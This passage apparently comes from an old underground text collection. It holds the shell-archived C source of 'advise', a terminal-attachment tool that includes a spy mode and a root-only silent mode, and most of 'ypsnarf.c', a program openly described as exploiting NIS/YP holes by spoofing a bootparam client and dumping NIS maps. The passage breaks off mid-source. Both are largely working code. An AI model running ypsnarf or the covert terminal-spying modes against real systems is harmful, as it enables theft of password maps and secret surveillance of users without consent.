PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW WILL RICHARD M. STALLMAN, THE FREE SOFTWARE FOUNDATION, INC., AND/OR ANY OTHER PARTY WHO MAY MODIFY AND REDISTRIBUTE GNU SEND AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY LOST PROFITS, LOST MONIES, OR OTHER SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS) GNU SEND, EVEN IF YOU HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR ANY CLAIM BY ANY OTHER PARTY. SHAR_EOF fi # end of overwriting check if test -f 'Makefile' then echo shar: will not over-write existing file "'Makefile'" else cat << \SHAR_EOF > 'Makefile' # Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) # # This file is part of advise. # # advise is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY. No author or distributor # accepts responsibility to anyone for the consequences of using it # or for whether it serves any particular purpose or works at all, # unless he says so in writing. Refer to the advise General Public # License for full details. # # Everyone is granted permission to copy, modify and redistribute # advise, but only under the conditions described in the # advise General Public License. A copy of this license is # supposed to have been given to you along with advise so you # can know your rights and responsibilities. It should be in a # file named COPYING. Among other things, the copyright notice # and this notice must be preserved on all copies. */ # # Author:Keith Gabryelski(ag@amix.commodore.com) # CC=gcc CFLAGS=-O all: advise advise.o: advisemod.h SHAR_EOF fi # end of overwriting check if test -f 'advise.c' then echo shar: will not over-write existing file "'advise.c'" else cat << \SHAR_EOF > 'advise.c' /* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) This file is part of advise. advise is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing. Refer to the advise General Public License for full details. Everyone is granted permission to copy, modify and redistribute advise, but only under the conditions described in the advise General Public License. A copy of this license is supposed to have been given to you along with advise so you can know your rights and responsibilities. It should be in a file named COPYING. Among other things, the copyright notice and this notice must be preserved on all copies. */ /* ** Author:Keith Gabryelski(ag@amix.commodore.com) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "advisemod.h" extern char *optarg; #define max(a,b) ((a)>(b)?(a):(b)) static struct module_list { char *name;/* name of module */ struct module_list *next;/* next module to be pushed */ } advise_module_list = { "advise", NULL, }; static void usage(void), advise(char *); static char *strchar(char); static struct module_list *list_modules(int, char *); static int allow_deny_p, allow_deny; static int allow_advise_p, allow_advise; static int error_flag; static int secret, spy; static int meta_character = '~'; static char *progname; static char *module = "ldterm"; int main(int argc, char **argv) { int c, error = 0; struct termios termios; struct module_list *modules; progname = *argv; while((c = getopt(argc, argv, "ADM:Sadm:s?")) != EOF) { switch(c) { case 's': spy++; break; case 'S': if (!getuid()) secret++; break; case 'a': allow_deny_p++; allow_deny=ADVISE_ALLOW; allow_advise_p++; allow_advise++; break; case 'd': allow_advise_p++; allow_advise=0; break; case 'A': allow_deny_p++; allow_deny=ADVISE_ALLOW; break; case 'D': allow_deny_p++; allow_deny=ADVISE_DENY; break; case 'm': meta_character = optarg[0]; break; case 'M': module = optarg; break; case '?': error_flag++; break; } if (error_flag) { usage(); } } if (allow_advise_p) { int status = ioctl(0, ADVISE_STATUS, &status); if (allow_advise && status) { int advise_module_pushed = 0; /* Push advise module on stream */ (void) ioctl(0, TCGETS, &termios); modules = list_modules(0, module); advise_module_list.next = modules; for (modules = &advise_module_list; modules != NULL; modules = modules->next) { if (!strcmp(modules->name, "advise")) { if (advise_module_pushed) continue; advise_module_pushed = 1; } if (ioctl(0, I_PUSH, modules->name)) { (void) fprintf(stderr, "%s: Couldn't I_PUSH: %s (%s).\n", progname, modules->name, strerror(errno)); error++; } } (void) ioctl(0, TCSETS, &termios); } if (!allow_advise && !status) { (void) ioctl(0, TCGETS, &termios); modules = list_modules(0, "advise"); while (modules != NULL) { if (strcmp(modules->name, "advise")) { if (ioctl(0, I_PUSH, modules->name)) { (void) fprintf(stderr, "%s: Couldn't I_PUSH: %s (%s).\n", progname, modules->name, strerror(errno)); error++; } } modules = modules->next; } (void) ioctl(0, TCSETS, &termios); } if (!allow_deny_p) return error ? 1 : 0; } if (allow_deny_p) { if (ioctl(0, allow_deny, 0)) { if (errno == EINVAL) { (void) fprintf(stderr, "%s: module \"advise\" not in stream.\n", progname); } else { (void) fprintf(stderr, "%s: Couldn't set advisory mode (%s).\n", progname, strerror(errno)); } return 1; } return 0; } /* All switches have been handled */ argc -= optind; argv += optind; if (argc > 1) { usage(); } if (argc == 0) { int status; /* ** Status of advise. */ if (ioctl(0, ADVISE_STATUS, &status)) { printf("Module \"advise\" not pushed on stream.\n"); } else { printf("Advise access %s\n", status ? "allowed" : "denied"); } return 0; } advise(*argv); return 0; } void usage() { (void) fprintf(stderr, "usage: %s [-ADad?] [-M module] | [-Ss] [-m char] [ device | username ]\n", progname); exit(1); } static void advise(char *who) { int ret, fd, metad=0; char buf[1024], *device, *devname, *login_name, *tty_name; struct pollfd pfds[2]; struct termios termios, oldtermios; struct stat stbuf; struct utmp *ut, uts; char username[sizeof(ut->ut_name) + 1]; username[0] = '\0'; if (*who == '/') /* full path name */ device = who; else { /* Either this is /dev/ + who OR a username */ setutent(); while ((ut = getutent()) != NULL) { if (!strncmp(who, ut->ut_name, sizeof(ut->ut_name))) { device = (char *)malloc(sizeof("/dev/") + sizeof(ut->ut_name)); if (device == NULL) { (void) fprintf(stderr, "%s: malloc failed (Out of Memory)\n", progname); exit(1); } strcpy(device, "/dev/"); strncat(device, ut->ut_name, sizeof(ut->ut_name)); device[sizeof("/dev/")+sizeof(ut->ut_name)] = '\0'; strncpy(username, ut->ut_name, sizeof(ut->ut_name)); username[sizeof(ut->ut_name)] = '\0'; break; } } if (ut == NULL) /* Is /dev/ + who */ { device = (char *)malloc(sizeof("/dev/") + strlen(who)); if (device == NULL) { (void) fprintf(stderr, "%s: malloc failed (Out of Memory)\n", progname); exit(1); } strcpy(device, "/dev/"); strcat(device, who); } endutent(); } devname = device + sizeof("/dev/") - 1; if (username[0] == '\0') { setutent(); strncpy(uts.ut_line, devname, sizeof(uts.ut_line)); if ((ut = getutline(&uts)) != NULL) { strncpy(username, ut->ut_name, sizeof(ut->ut_name)); username[sizeof(ut->ut_name)] = '\0'; } else { strcpy(username, "unknown"); } endutent(); } if (stat(device, &stbuf) < 0) { if (errno == ENOENT) { (void) fprintf(stderr, "%s: no advisee device: , spy ? "spying" : "advising", username, devname); data.len = strlen(str); data.buf = str; (void) putmsg(fd, &ctl, &data, 0); free(str); } } if (!spy) { (void) ioctl(0, TCGETS, &termios); oldtermios = termios; termios.c_cc[VMIN] = 1; termios.c_cc[VTIME] = 0; termios.c_lflag &= ~(ISIG|ICANON|ECHO); (void) ioctl(0, TCSETS, &termios); } pfds[0].fd = fd; pfds[0].events = POLLIN; pfds[1].fd = 0; pfds[1].events = POLLIN; for (;;) { if (poll(pfds, 2, INFTIM) < 0) continue; if ((pfds[0].revents&POLLIN) != 0) /* data from advisee ready */ { if ((ret = read(fd, buf, sizeof(buf))) > 0) write(1, buf, ret); } if ((pfds[1].revents&POLLIN) != 0) /* data from advisor ready */ { if ((ret = read(0, buf, sizeof(buf))) > 0) { if (!spy) { register int i; register char *p = buf, *pp=buf; for (i=0; i < ret; ++i, p++) { if (metad) { if (metad == 2) { meta_character = *p; printf("The meta character is now: %s\n", strchar(meta_character)); pp++; metad = 0; continue; } switch (*p) { case '=': metad=2; pp++; break; case '?': { char *escstr = strchar(meta_character); printf("Help for meta character <%s>:\n", escstr); printf("%s?\t-- This help message.\n", escstr); printf("%s~\t-- Send a single meta character.\n", escstr); printf("%s.\t-- Disconnect advise session.\n", escstr); printf("%s=C\t-- Change meta character to C.\n", escstr); printf("%s^Z\t-- Suspend advise session.\n", escstr); pp++; metad=0; break; } case '.': { if (!secret) { char *str; str = malloc(strlen(login_name) + strlen(tty_name) + sizeof("[/ disconnecting from :]\n") + strlen(username) + strlen(devname)); if (str) { struct advise_message m; struct strbuf ctl, data; m.type = ADVISE_READDATA; ctl.len = sizeof(m); ctl.buf = (void *)&m; sprintf(str, "[%s/%s disconnecting from %s:%s]\n\r", login_name, tty_name, username, devname); data.len = strlen(str); data.buf = str; (void) putmsg(fd, &ctl, &data, 0); free(str); } } close(fd); (void) ioctl(0, TCSETS, &oldtermios); exit(0); } case CTRL('Z'): { (void) ioctl(0, TCSETS, &oldtermios); (void) signal(SIGTSTP, SIG_DFL); (void) kill(0, SIGTSTP); (void) ioctl(0, TCSETS, &termios); metad=0; break; } default: metad=0; break; } } else { if (*p == meta_character) { int d = p - pp; metad=1; if (d) write(fd, pp, d); pp += d + 1; i += d; } } } if (p - pp) { struct advise_message m; struct strbuf ctl, data; m.type = ADVISE_DATA; ctl.len = sizeof(m); ctl.buf = (void *)&m; data.len = p - pp; data.buf = p; (void) putmsg(fd, &ctl, &data, 0); } } } } } } static struct module_list * list_modules(int fd, char *push_below) { char lookbuf[max(FMNAMESZ+1,256)]; struct module_list *mp, *mpp; mp = NULL; while (ioctl(fd, I_LOOK, lookbuf) == 0) { if (ioctl(fd, I_POP, 0)) { (void) fprintf(stderr, "%s: Couldn't I_POP: %s (%s).\n", progname, lookbuf, strerror(errno)); return mp; } if ((mpp = malloc(sizeof(struct module_list))) == NULL || (mpp->name = malloc(strlen(lookbuf) + 1)) == NULL) { (void) fprintf(stderr, "%s: Couldn't malloc (out of memory).\n", progname); return mp; } mpp->next = mp; mp = mpp; strcpy(mp->name, lookbuf); if (!strcmp(push_below, lookbuf)) break; } return mp; } static char * strchar(char character) { static char retbuf[4]; char *p = retbuf; int capit = 0; if (!isascii(character)) { *p++ = '~'; capit = 1; character = toascii(character); } if (iscntrl(character)) { *p++ = '^'; capit = 1; character += '@'; } if (capit) *p++ = toupper(character); else *p++ = character; *p = '\0'; return retbuf; } SHAR_EOF fi # end of overwriting check if test -f 'advise.man' then echo shar: will not over-write existing file "'advise.man'" else cat << \SHAR_EOF > 'advise.man' .TH advise 1 .SH NAME advise \- Attach to another user. .SH SYNOPSIS .B advise [-ADad?] [-M module] | [-Ss] [-m char] [ device | username ] .SH DESCRIPTION .B Advise attaches a user (the advisor) to another user's (the advisee) terminal in such a way the the advisor can type for the advisee and view what the advisee's terminal is displaying. .PP The advisee would typically type ``advise -a'' to allow advise attaches; the advisor would then type ``advise username'' which would connect the advisors terminal the the advisee's. .PP All characters the advisor types are sent to the advisee's terminal as if the advisee typed them save the meta character. .PP The default meta character is tilde (~). The advisor uses the meta character to disconnect or suspend the advise session. The meta commands that are available to the advisor are: .PP .RS .TP ~? Meta character help message. .TP ~~ Send the meta character to the advisee's terminal. .TP ~. Disconnect advise session. .TP ~=C Change the meta character to C. .TP ~^Z Suspend this advise session. .RE .PP In Advise mode the advisor uses ``~.'' to disconnect the advise session (Note: the advisor should use ``~~'' to send one tilde to the advisee's terminal). .PP In ``spy mode'' the advisor should use an interrupt is use to disconnect the advise session. .PP ``advise -d'' can be used by the advisee to disconnect the advise session. .SH OPTIONS .TP -A Allow advise attaches to this terminal. .TP -D Disallow advise attaches to this terminal. .TP -M module Name of module to place advise module under. .TP -S When attaching to another user, don't send the attach message. (available to the super user, only). .TP -a Push advise module on standard input stream and allow advise attaches. .TP -d Push advise module on standard input stream and disallow advise attaches. .TP -m char Change the meta character to ``char''. The default meta character is tilde (~). .TP -s Spy mode only (ie, input from the advisor is not passed to the advisee). .TP device The name of the tty device to advise. .TP username The name of the user to advise. .SH AUTHOR .RS .PP Keith M. Gabryelski (ag@amix.commodore.com) .RE SHAR_EOF fi # end of overwriting check if test -f 'advisedev.c' then echo shar: will not over-write existing file "'advisedev.c'" else cat << \SHAR_EOF > 'advisedev.c' /* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) This file is part of advise. advise is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing. Refer to the advise General Public License for full details. Everyone is granted permission to copy, modify and redistribute advise, but only under the conditions described in the advise General Public License. A copy of this license is supposed to have been given to you along with advise so you can know your rights and responsibilities. It should be in a file named COPYING. Among other things, the copyright notice and this notice must be preserved on all copies. */ /* ** Author:Keith Gabryelski(ag@amix.commodore.com) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "advisemod.h" #include int adviseopen(), adviseclose(), adviserput(), advisewput(); void advisesrvioc(); static struct module_info advisemiinfo = { 0, "advise", 0, INFPSZ, 2048, 128, }; static struct qinit adviserinit = { adviserput, NULL, adviseopen, adviseclose, NULL, &advisemiinfo, }; static struct module_info advisemoinfo = { 42, "advise", 0, INFPSZ, 300, 200, }; static struct qinit advisewinit = { advisewput, NULL, adviseopen, adviseclose, NULL, &advisemoinfo, }; struct streamtab adviseinfo = { &adviserinit, &advisewinit, NULL, NULL, }; extern struct advise_state advise_table; /*ARGSUSED*/ static int adviseopen(q, devp, flag, sflag, credp) register queue_t *q; dev_t *devp; int flag, sflag; cred_t *credp; { register mblk_t *bp; struct advise_queue_list *ql; struct advise_state *sp; int i; if (sflag == MODOPEN) return EINVAL; for (i=1; i < L_MAXMIN; ++i) { sp = &advise_table; while (sp->next != NULL) { ql = sp->next->q_list; while (ql != NULL) { if (ql->minord == i) break; ql = ql->next; } if (ql != NULL) break; sp = sp->next; } if (sp->next == NULL) break; } if (i == L_MAXMIN) { return ENOMEM;/* no more resources */ } *devp = makedevice(getmajor(*devp), i); if ((bp = allocb((int)sizeof(struct advise_queue_list), BPRI_MED)) == NULL) { return ENOMEM; } bp->b_wptr += sizeof(struct advise_queue_list); ql = (struct advise_queue_list *)bp->b_rptr; ql->savbp = bp; ql->next = NULL; ql->q = q; ql->state = NULL; ql->minord = i; q->q_ptr = (caddr_t)ql; WR(q)->q_ptr = (caddr_t)ql; return 0; } static adviseclose(q) register queue_t *q; { struct advise_state *llist = &advise_table; struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr; struct advise_queue_list *ql, *qlp; /* Remove us from the advisor's list */ if (qp->state != NULL) { while (llist != NULL && llist->next != qp->state) llist = llist->next; if (llist != NULL) { ql = llist->next->q_list; if (ql->q == q) { llist->next->q_list = ql->next; } else { while (ql->next != NULL && ql->next->q != q) ql = ql->next; if (ql->next != NULL) { ql->next = ql->next->next; } } } } qp->state = NULL; freeb(qp->savbp); q->q_ptr = NULL; } static int adviserput(q, bp) struct queue *q; mblk_t *bp; { putnext(q, bp); } static int advisewput(q, bp) struct queue *q; mblk_t *bp; { struct advise_queue_list *qp = (struct advise_queue_list *)q->q_ptr; struct advise_state *sp = qp->state; switch (bp->b_datap->db_type) { case M_PROTO: { struct advise_message *ms = (struct advise_message *)bp->b_rptr; mblk_t *bp2 = unlinkb(bp); if (bp2) { if (sp != NULL && sp->q != NULL) { if (ms->type == ADVISE_READDATA) { putnext(WR(sp->q), bp2); } else { putnext(sp->q, bp2); } } else freemsg(bp2); } freemsg(bp); break; } case M_DATA: /* ** Write data to advisee. */ if (sp != NULL && sp->q != NULL) putnext(sp->q, bp); else freemsg(bp); break; case M_IOCTL: case M_IOCDATA: advisesrvioc(q, bp); break; default: freemsg(bp); break; } } static void advisesrvioc(q, mp) queue_t *q; mblk_t *mp; { mblk_t *mp1; struct iocblk *iocbp = (struct iocblk *)mp->b_rptr; struct advise_queue_list *qp=(struct advise_queue_list *)q->q_ptr; int s; if (mp->b_datap->db_type == M_IOCDATA) { /* For copyin/copyout failures, just free message. */ if (((struct copyresp *)mp->b_rptr)->cp_rval) { freemsg(mp); return; } if (!((struct copyresp *)mp->b_rptr)->cp_private) { mp->b_datap->db_type = M_IOCACK; freemsg(unlinkb(mp)); iocbp->ioc_count = 0; iocbp->ioc_rval = 0; iocbp->ioc_error = 0; putnext(RD(q), mp); return; } } switch (iocbp->ioc_cmd) { case ADVISE_SETADVISEE: { register dev_t p; struct advise_queue_list *qlp; struct advise_state *llist; if (qp->state != NULL) /* already advising someone */ { iocbp->ioc_error = EBUSY; mp->b_datap->db_type = M_IOCNAK; iocbp->ioc_count = 0; putnext(RD(q), mp); break; } if (!mp->b_cont) { iocbp->ioc_error = EINVAL; mp->b_datap->db_type = M_IOCNAK; iocbp->ioc_count = 0; putnext(RD(q), mp); break; } p = *(dev_t *)mp->b_cont->b_rptr; s = spladvise(); llist = advise_table.next; while (llist != NULL && llist->dev != p) { llist = llist->next; } if (llist == NULL) { splx(s); iocbp->ioc_error = EUNATCH; mp->b_datap->db_type = M_IOCNAK; iocbp->ioc_count = 0; putnext(RD(q), mp); break; } if ((llist->status & ALLOW_ADVICE) == 0 && (!suser(u.u_cred))) { splx(s); iocbp->ioc_error = EACCES; mp->b_datap->db_type = M_IOCNAK; iocbp->ioc_count = 0; putnext(RD(q), mp); break; } /* ** Add ourself to the list of advisors for this advisee. */ if (llist->q_list == NULL) { qlp = llist->q_list = qp; } else { qlp = llist->q_list; while (qlp->next != NULL) qlp = qlp->next; qlp->next = qp; qlp = qp; } qlp->state = llist; splx(s); mp->b_datap->db_type = M_IOCACK; mp1 = unlinkb(mp); if (mp1) freeb(mp1); iocbp->ioc_count = 0; putnext(RD(q), mp); break; } default: /* Unrecognized ioctl command */ if (canput(RD(q)->q_next)) { mp->b_datap->db_type = M_IOCNAK; putnext(RD(q), mp); } else putbq(q, mp); break; } } SHAR_EOF fi # end of overwriting check if test -f 'advisemod.c' then echo shar: will not over-write existing file "'advisemod.c'" else cat << \SHAR_EOF > 'advisemod.c' /* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) This file is part of advise. advise is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing. Refer to the advise General Public License for full details. Everyone is granted permission to copy, modify and redistribute advise, but only under the conditions described in the advise General Public License. A copy of this license is supposed to have been given to you along with advise so you can know your rights and responsibilities. It should be in a file named COPYING. Among other things, the copyright notice and this notice must be preserved on all copies. */ /* ** Author:Keith Gabryelski(ag@amix.commodore.com) */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include "advisemod.h" #include int advisemopen(), advisemclose(), advisemrput(), advisemwput(); static struct module_info advisemiinfo = { 0, "advisemod", 0, INFPSZ, 2048, 128, }; static struct qinit adviserinit = { advisemrput, NULL, advisemopen, advisemclose, NULL, &advisemiinfo, }; static struct module_info advisemoinfo = { 42, "advisemod", 0, INFPSZ, 300, 200, }; static struct qinit advisewinit = { advisemwput, NULL, advisemopen, advisemclose, NULL, &advisemoinfo, }; struct streamtab advisemodinfo = { &adviserinit, &advisewinit, NULL, NULL, }; struct advise_state advise_table; /*ARGSUSED*/ static int advisemopen(q, devp, flag, sflag, credp) register queue_t *q; dev_t *devp; int flag, sflag; cred_t *credp; { register struct advise_state *sp; register mblk_t *bp; struct advise_state *llist = &advise_table; if (sflag != MODOPEN) return EINVAL; if ((bp = allocb((int)sizeof(struct advise_state), BPRI_MED)) == NULL) { return ENOMEM; } bp->b_wptr += sizeof(struct advise_state); sp = (struct advise_state *)bp->b_rptr; sp->savbp = bp; sp->dev = *devp; sp->status = 0;/* Deny access by default */ sp->next = NULL; sp->q_list = NULL; sp->q = q; while (llist->next != NULL) { if (llist->next->dev == *devp) { /* ** We are already pushed on this stream. */ freeb(bp); sp = llist->next; break; } llist = llist->next; } llist->next = sp; q->q_ptr = (caddr_t)sp; WR(q)->q_ptr = (caddr_t)sp; return 0; } static advisemclose(q) register queue_t *q; { register struct advise_state *sp = (struct advise_state *)q->q_ptr; struct advise_state *llist = &advise_table; struct advise_queue_list *qp = sp->q_list; sp->status = 0; /* unlink us from the state table */ while (llist->next != sp) llist = llist->next; llist->next = llist->next->next; while (sp->next != NULL) { /* tell each advisor that we're shutting down */ flushq(sp->q, FLUSHDATA); putctl(sp->q->q_next, M_HANGUP); sp = sp->next; } freeb(sp->savbp); q->q_ptr = NULL; } static advisemrput(q, mp) register queue_t *q; register mblk_t *mp; { putnext(q, mp); } static advisemwput(q, mp) register queue_t *q; register mblk_t *mp; { struct advise_state *sp = (struct advise_state *)q->q_ptr; register struct advise_queue_list *qp; int s; switch (mp->b_datap->db_type) { case M_DATA: /* ** Write data to advisors. */ s = spladvise(); for (qp = sp->q_list; qp != NULL; qp = qp->next) { mblk_t *mp1 = copymsg(mp); if (mp1 != NULL) putnext(qp->q, mp1); } splx(s); break; case M_IOCTL: case M_IOCDATA: if (advisemsrvioc(q, mp)) /* handled? */ return; break; } putnext(q, mp); } static int advisemsrvioc(q, mp) queue_t *q; mblk_t *mp; { mblk_t *mp1; struct iocblk *iocbp = (struct iocblk *)mp->b_rptr; struct advise_state *sp = (struct advise_state *)q->q_ptr; if (mp->b_datap->db_type == M_IOCDATA) { struct copyresp *csp = (struct copyresp *)mp->b_rptr; switch(csp->cp_cmd) { case ADVISE_STATUS: case ADVISE_ALLOW: case ADVISE_DENY: /* For copyin/copyout failures, just free message. */ if (csp->cp_rval) freemsg(mp); else if (!csp->cp_private) { mp->b_datap->db_type = M_IOCACK; freemsg(unlinkb(mp)); iocbp->ioc_count = 0; iocbp->ioc_rval = 0; iocbp->ioc_error = 0; putnext(RD(q), mp); } return 1; } } switch (iocbp->ioc_cmd) { case ADVISE_STATUS: { int *status; caddr_t arg = *(caddr_t *)mp->b_cont->b_rptr; freemsg(mp->b_cont); mp->b_cont = allocb(sizeof(int), BPRI_MED); if (!mp->b_cont) { mp->b_datap->db_type = M_IOCNAK; freemsg(unlinkb(mp)); iocbp->ioc_count = 0; iocbp->ioc_rval = 0; iocbp->ioc_error = ENOMEM; putnext(RD(q), mp); return 1; } status = (int *)mp->b_cont->b_rptr; mp->b_cont->b_wptr += sizeof(int); *status = sp->status; if (mp->b_datap->db_type == M_IOCTL && iocbp->ioc_count == TRANSPARENT) { struct copyreq *creq = (struct copyreq *)mp->b_rptr; mp->b_datap->db_type = M_COPYOUT; creq->cq_addr = arg; mp->b_wptr = mp->b_rptr + sizeof *creq; mp->b_cont->b_wptr = mp->b_cont->b_rptr + sizeof(int); creq->cq_size = sizeof(int); creq->cq_flag = 0; creq->cq_private = (mblk_t *)NULL; putnext(RD(q), mp); return 1; } } break; case ADVISE_ALLOW: sp->status |= ALLOW_ADVICE; mp->b_datap->db_type = M_IOCACK; mp1 = unlinkb(mp); if (mp1) freeb(mp1); iocbp->ioc_count = 0; putnext(RD(q), mp); break; case ADVISE_DENY: sp->status &= ~(ALLOW_ADVICE); mp->b_datap->db_type = M_IOCACK; mp1 = unlinkb(mp); if (mp1) freeb(mp1); iocbp->ioc_count = 0; putnext(RD(q), mp); break; default: return 0; } return 1; } SHAR_EOF fi # end of overwriting check if test -f 'advisemod.h' then echo shar: will not over-write existing file "'advisemod.h'" else cat << \SHAR_EOF > 'advisemod.h' /* Copyright (C) 1990 Keith Gabryelski (ag@amix.commodore.com) This file is part of advise. advise is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY. No author or distributor accepts responsibility to anyone for the consequences of using it or for whether it serves any particular purpose or works at all, unless he says so in writing. Refer to the advise General Public License for full details. Everyone is granted permission to copy, modify and redistribute advise, but only under the conditions described in the advise General Public License. A copy of this license is supposed to have been given to you along with advise so you can know your rights and responsibilities. It should be in a file named COPYING. Among other things, the copyright notice and this notice must be preserved on all copies. */ /* ** Author:Keith Gabryelski(ag@amix.commodore.com) */ struct advise_queue_list { mblk_t*savbp;/* ptr to this mblk for freeb()ing */ queue_t*q;/* advisor's queue */ intminord; /* minor device for this advisor */ struct advise_state*state; /* ptr back to advise_state struct */ struct advise_queue_list*next; /* ptr to next advisor */ }; struct advise_state { mblk_t*savbp;/* ptr to this mblk for freeb()ing */ intstatus;/* current status */ dev_tdev;/* our device */ queue_t*q;/* queue for advisor writing */ struct advise_queue_list*q_list;/* list of spies */ struct advise_state*next; /* next in advise_table */ }; #define ALLOW_ADVICE(0x01) struct advise_message { inttype; /* What type of data is this? */ }; #define ADVISE_DATA(0x00) #define ADVISE_READDATA(0x01) #define ADVISE('z'<<16) #define ADVISE_SETADVISEE(ADVISE|0x01) #defineADVISE_ALLOW(ADVISE|0x02) #defineADVISE_DENY(ADVISE|0x03) #define ADVISE_STATUS(ADVISE|0x04) #define spladvisespltty SHAR_EOF fi # end of overwriting check #End of shell archive exit 0 ------------------------------------------------------------------------------ Comments: Q's: Biblio: CrossRef: Code/shRef: ============================================================================== It is useless to resist us. /* * THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM. PLEASE DO NOT * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY. * * ypsnarf - exercise security holes in yp/nis. * * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik * (casper@fwi.uva.nl). * * Usage: * ypsnarf server client * - to obtain the yp domain name * ypsnarf server domain mapname * - to obtain a copy of a yp map * ypsnarf server domain maplist * - to obtain a list of yp maps * * In the first case, we lie and pretend to be the host "client", and send * a BOOTPARAMPROC_WHOAMI request to the host "server". Note that for this * to work, "server" must be running rpc.bootparamd, and "client" must be a * diskless client of (well, it must boot from) "server". * * In the second case, we send a YPPROC_DOMAIN request to the host "server", * asking if it serves domain "domain". If so, we send YPPROC_FIRST and * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map * "mapname". Note that you must specify the full yp map name, you cannot * use the shorthand names provided by "ypcat". * * In the third case, the special map name "maplist" tells ypsnarf to send * a YPPROC_MAPLIST request to the server and get the list of maps in domain * "domain", instead of getting the contents of a map. If the server has a * map called "maplist" you can't get it. Oh well. * * Since the callrpc() routine does not make any provision for timeouts, we * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer. * * This program uses UDP packets, which means there's a chance that things * will get dropped on the floor; it's not a reliable stream like TCP. In * practice though, this doesn't seem to be a problem. * * To compile: * cc -o ypsnarf ypsnarf.c -lrpcsvc * * David A. Curry * Purdue University * Engineering Computer Network * Electrical Engineering Building * West Lafayette, IN 47907 * davy@ecn.purdue.edu * January, 1991 */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd */ #define YPSNARF_TIMEOUT1 15 /* timeout for initial request */ #define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */ char *pname; /* program name */ main(argc, argv) char **argv; int argc; { char *server, *client, *domain, *mapname; pname = *argv; /* * Process arguments. This is less than robust, but then * hey, you're supposed to know what you're doing. */ switch (argc) { case 3: server = *++argv; client = *++argv; get_yp_domain(server, client); exit(0); case 4: server = *++argv; domain = *++argv; mapname = *++argv; if (strcmp(mapname, "maplist") == 0) get_yp_maplist(server, domain); else get_yp_map(server, domain, mapname); exit(0); default: fprintf(stderr, "Usage: %s server client -", pname); fprintf(stderr, "to obtain yp domain name\n"); fprintf(stderr, " %s server domain mapname -", pname); fprintf(stderr, "to obtain contents of yp map\n"); exit(1); } } /* * get_yp_domain - figure out the yp domain used between server and client. */ get_yp_domain(server, client) char *server, *client; { long hostip; struct hostent *hp; bp_whoami_arg w_arg; bp_whoami_res w_res; extern void timeout(); enum clnt_stat errcode; /* * Just a sanity check, here. */ if ((hp = gethostbyname(server)) == NULL) { fprintf(stderr, "%s: %s: unknown host.\n", pname, server); exit(1); } /* * Allow the client to be either an internet address or a * host name. Copy in the internet address. */ if ((hostip = inet_addr(client)) == -1) { if ((hp = gethostbyname(client)) == NULL) { fprintf(stderr, "%s: %s: unknown host.\n", pname, client); exit(1); } bcopy(hp->h_addr_list[0], (caddr_t) &w_arg.client_address.bp_address.ip_addr, hp->h_length); } else { bcopy((caddr_t) &hostip, (caddr_t) &w_arg.client_address.bp_address.ip_addr, sizeof(ip_addr_t)); } w_arg.client_address.address_type = IP_ADDR_TYPE; bzero((caddr_t) &w_res, sizeof(bp_whoami_res)); /* * Send a BOOTPARAMPROC_WHOAMI request to the server. This will * give us the yp domain in the response, IFF client boots from * the server. */ signal(SIGALRM, timeout); alarm(YPSNARF_TIMEOUT1); errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg, xdr_bp_whoami_res, &w_res); alarm(0); if (errcode != RPC_SUCCESS) print_rpc_err(errcode); /* * Print the domain name. */ printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name); /* * The maximum domain name length is 255 characters, but the * rpc.bootparamd program truncates anything over 32 chars. */ if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN) printf(" (truncated?)"); /* * Put out the client name, if they didn't know it. */ if (hostip != -1) printf(" (client name = %s)", w_res.client_name); putchar('\n'); } /* * get_yp_map - get the yp map "mapname" from yp domain "domain" from server. */ get_yp_map(server, domain, mapname) char *server, *domain, *mapname; { char *reqp; bool_t yesno; u_long calltype; bool (*xdr_proc)(); extern void timeout(); enum clnt_stat errcode; struct ypreq_key keyreq; struct ypreq_nokey nokeyreq; struct ypresp_key_val answer; /* * This code isn't needed; the next call will give the same * error message if there's no yp server there. */ #ifdef not_necessary /* * "Ping" the yp server and see 